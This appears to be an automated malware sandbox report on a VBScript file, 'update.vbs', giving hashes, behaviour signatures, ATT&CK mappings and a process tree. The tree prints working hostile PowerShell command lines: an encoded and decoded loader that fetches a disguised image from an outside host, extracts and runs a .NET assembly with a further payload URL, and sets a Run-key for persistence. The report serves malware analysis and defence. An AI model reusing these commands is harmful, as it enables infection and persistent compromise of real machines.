f0e5b0472df1921c5b9c32c0dc4c1a3a2cc15084b72df00fe2710f63221ee224

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
16-03-2024 03:37

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General

Target

update.vbs
Size

35KB
MD5

dae93d3eddca85b787392d52c5a6fc75
SHA1

0910dde04380ab5a7331476b27a33789aac76524
SHA256

96f6c7e573af91ae336eddf40d48ded90ff4df69e510791b715f6941fd795b8b
SHA512

3d6a4e360710247a9c9a16bbc450984341426eff7b51f433ce640f4be32ef893eaf093316124b675e73a2840523314c0f7e7aed8725867e3b1d80f54c73d4aa0
SSDEEP

192:96EQ6mlKX/DZp2ZSh0RuzX+yvpKkKWKQ5DcYUvhAqkw4KBK428rKp9KZKySB3Kj7:24/XrvkBD0kJdc4fWpw0fB4

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

3 2592 powershell.exe
5 2592 powershell.exe
7 2592 powershell.exe
9 2592 powershell.exe
10 2592 powershell.exe

flow	pid	process
3	2592	powershell.exe
5	2592	powershell.exe
7	2592	powershell.exe
9	2592	powershell.exe
10	2592	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\Name_File.vbs"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2128 powershell.exe
2592 powershell.exe
1688 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2128 powershell.exe
Token: SeDebugPrivilege 2592 powershell.exe
Token: SeDebugPrivilege 1688 powershell.exe

pid	process
2128	powershell.exe
2592	powershell.exe
1688	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2356 wrote to memory of 2128	2356	WScript.exe	powershell.exe
PID 2356 wrote to memory of 2128	2356	WScript.exe	powershell.exe
PID 2356 wrote to memory of 2128	2356	WScript.exe	powershell.exe
PID 2128 wrote to memory of 2592	2128	powershell.exe	powershell.exe
PID 2128 wrote to memory of 2592	2128	powershell.exe	powershell.exe
PID 2128 wrote to memory of 2592	2128	powershell.exe	powershell.exe
PID 2592 wrote to memory of 1688	2592	powershell.exe	powershell.exe
PID 2592 wrote to memory of 1688	2592	powershell.exe	powershell.exe
PID 2592 wrote to memory of 1688	2592	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\update.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2356

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$numa = 'ZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBrAHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAZABvAHcAbgBsAG8AYQBkAGUAZABEAGEAdABhACAAPQAgAEAAKAApADsAIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAIAA9ACAAJABsAGkAbgBrAHMAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAJABsAGkAbgBrAHMALgBMAGUAbgBnAHQAaAA7ACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBrACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAJABkAG8AdwBuAGwAbwBhAGQAZQBkAEQAYQB0AGEAIAArAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAHIAZQB0AHUAcgBuACAAJABkAG8AdwBuAGwAbwBhAGQAZQBkAEQAYQB0AGEAIAB9ADsAIAAkAGwAaQBuAGsAcwAgAD0AIABAACgAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA3ADUANQAvADkAOQA3AC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwByAC4AagBwAGcAPwAxADcAMQAwADQAMQAzADkAOQAzACcALAAgACcAaAB0AHQAcABzADoALwAvAHUAcABsAG8AYQBkAGQAZQBpAG0AYQBnAGUAbgBzAC4AYwBvAG0ALgBiAHIALwBpAG0AYQBnAGUAcwAvADAAMAA0AC8ANwA1ADUALwA5ADkANwAvAG8AcgBpAGcAaQBuAGEAbAAvAG4AZQB3AF8AaQBtAGEAZwBlAF8AcgAuAGoAcABnAD8AMQA3ADEAMAA0ADEAMwA5ADkAMwAnACkAOwAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFAAUgBPAEoARQBUAE8AQQBVAFQATwBNAEEAQwBBAE8ALgBWAEIALgBIAG8AbQBlACcAKQA7ACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgBzAGIAZAB2ADEALwBLAC8AcQBpAC4AZABlAGgAcwBhAGgALQBzAHMAcgBpAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACcAMQAnACAALAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAgACwAIAAnAE4AYQBtAGUAXwBGAGkAbABlACcALAAnAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgAnACwAJwAnACkAKQB9ACAAfQA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $numa));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/755/997/original/new_image_r.jpg?1710413993', 'https://uploaddeimagens.com.br/images/004/755/997/original/new_image_r.jpg?1710413993'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.sbdv1/K/qi.dehsah-ssri//:sptth' , '1' , 'C:\ProgramData\' , 'Name_File','AddInProcess32',''))} }"
3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Name_File.vbs
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
711a623f5336daf51e25b7e2584a78b0

SHA1
40cab466cf1bb7e4476708d69c137254547dc1e5

SHA256
e9aefe6fc4f4cabaaaeae1b7ce40e9d27790ebc4be5ab35fafad620f4a75213a

SHA512
a0ab443abf6e62efb2c13e5335acb143dd3f334bd27cae5904899637efe4452d25a9d9e210a1d12d04cd22e1719769f308280a9839e01870b581628614f8fa1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab1086.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar1233.tmp
Filesize
175KB

MD5
dd73cead4b93366cf3465c8cd32e2796

SHA1
74546226dfe9ceb8184651e920d1dbfb432b314e

SHA256
a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

SHA512
ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
0fe21ce8822f508cde7b0e08d6f1fbaf

SHA1
fe2863a2b5e2cacdb776709897f06ec48a0ba94b

SHA256
b68b55603e2c31c7d8148ea2d53cba3e0724f6d95e3ed4631582de64e5794f44

SHA512
d9531c4503333d497b9e5e3992db903ce96c4496d283c5de6e3dea582ecee4070b4b9c13f45ede6039318e672a156c512343512fe91dd003a64877e9fd0ff82a

Download Submit
memory/1688-107-0x0000000002AD0000-0x0000000002B50000-memory.dmp

Filesize
512KB

Download
memory/1688-106-0x0000000002AD0000-0x0000000002B50000-memory.dmp

Filesize
512KB

Download
memory/1688-104-0x0000000002AD0000-0x0000000002B50000-memory.dmp

Filesize
512KB

Download
memory/1688-105-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/1688-110-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/1688-103-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-7-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2128-19-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2128-13-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-14-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2128-6-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-5-0x0000000002730000-0x0000000002738000-memory.dmp

Filesize
32KB

Download
memory/2128-87-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2128-88-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2128-89-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2128-90-0x0000000002C10000-0x0000000002C90000-memory.dmp

Filesize
512KB

Download
memory/2128-4-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2128-113-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-16-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-94-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-97-0x000000001ADF0000-0x000000001B0B0000-memory.dmp

Filesize
2.8MB

Download
memory/2592-93-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2592-92-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-91-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2592-20-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-18-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2592-17-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2592-111-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-112-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2592-15-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download